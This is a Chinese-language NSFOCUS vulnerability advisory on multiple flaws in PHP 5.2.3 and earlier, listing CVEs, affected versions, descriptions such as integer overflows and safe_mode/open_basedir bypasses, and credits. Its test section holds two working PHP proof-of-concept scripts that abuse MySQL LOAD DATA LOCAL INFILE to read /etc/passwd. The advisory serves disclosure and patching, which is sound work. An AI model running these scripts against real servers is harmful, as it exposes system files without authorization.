绿盟科技NSFOCUS安全漏洞系统

安全研究

安全漏洞

PHP 5.2.3及之前版本多个安全漏洞

发布日期：2007-08-31
更新日期：2008-01-04

受影响系统：

PHP PHP <= 5.2.3

不受影响系统：

PHP PHP 5.2.4

描述：

BUGTRAQ  ID: 25498
CVE(CAN) ID: CVE-2007-3997,CVE-2007-3996,CVE-2007-3998,CVE-2007-3378,CVE-2007-3806,CVE-2007-2872,CVE-2007-4663,CVE-2007-4662,CVE-2007-4661,CVE-2007-4659,CVE-2007-4658,CVE-2007-4657,CVE-2007-4652

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。

PHP 5.2.3及之前版本实现上存在多个安全漏洞，远程或本地攻击者可能利用此漏洞执行任意指令或提升自己的权限。

PHP的MySQL和MySQLi扩展中的安全漏洞允许远程攻击者通过MySQL LOCAL INFILE操作绕过safe_mode和open_basedir限制。

PHP的libgd中存在多个整数溢出漏洞。如果远程攻击者向gdImageCopyResized函数传送了很大的srcW或srcH值的话，或向gdImageCreate或gdImageCreateTrueColor函数传送了很大的sy（高度）或sx（宽度）值的话，就可以导致拒绝服务或执行任意指令。

PHP的wordwrap函数没有正确地使用breakcharlen变量，允许远程攻击者通过某些参数导致拒绝服务。

如果从.htaccess文件调用PHP的session_save_path、ini_set和error_log函数的话，远程攻击者就可以使用php_value、php_flag和.htaccess中的指令绕过safe_mode和open_basedir限制执行任意命令。

由于没有初始化glob结构，PHP的glob函数允许攻击者通过无效的标记值导致在win32平台上出现无效的内存读取。

PHP的chunk_split函数中的多个整数溢出漏洞允许远程攻击者通过chunks、srclen和chunklen参数导致拒绝服务或执行任意指令。

PHP中的目录遍历漏洞允许攻击者通过glob函数绕过open_basedir安全限制。

由于在以浮点数执行整数计算时的精度损失，PHP的string.c文件中的chunk_split函数没有正确地计算所需的缓冲区大小，可能导致堆溢出。

PHP中的多个整数溢出漏洞允许远程攻击者通过向strspn或strcspn函数传送很大的长度值触发越界读取，导致泄露敏感信息或拒绝服务。

PHP的会话扩展允许本地用户通过符号链接的会话文件绕过open_basedir限制。

<*来源：Mattias Bengtsson （mattias@secweb.se）
        Philip Olausson （po@secweb.se）
        Gerhard Wagner
        Stanislav Malyshev
        Stefan Esser （s.esser@ematters.de）
        shinnai （shinnai@autistici.org）

  链接：http://secunia.com/advisories/26642
        http://secunia.com/advisories/28318/
        http://www.php.net/releases/5_2_4.php
        http://www.secweb.se/en/advisories/php-mysql-safe-mode-bypass-vulnerability/
        http://security.gentoo.org/glsa/glsa-200710-02.xml
        https://www.redhat.com/support/errata/RHSA-2007-0888.html
        https://www.redhat.com/support/errata/RHSA-2007-0889.html
        https://www.redhat.com/support/errata/RHSA-2007-0890.html
        https://www.redhat.com/support/errata/RHSA-2007-0891.html
        http://www.debian.org/security/2008/dsa-1444
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);

?>

MySQLi:

<?php

function r($fp, &$buf, $len, &$err) {
print fread($fp, $len);
}

$m = new mysqli('localhost', 'aaaa', '', 'a');
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();

?>

建议：

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客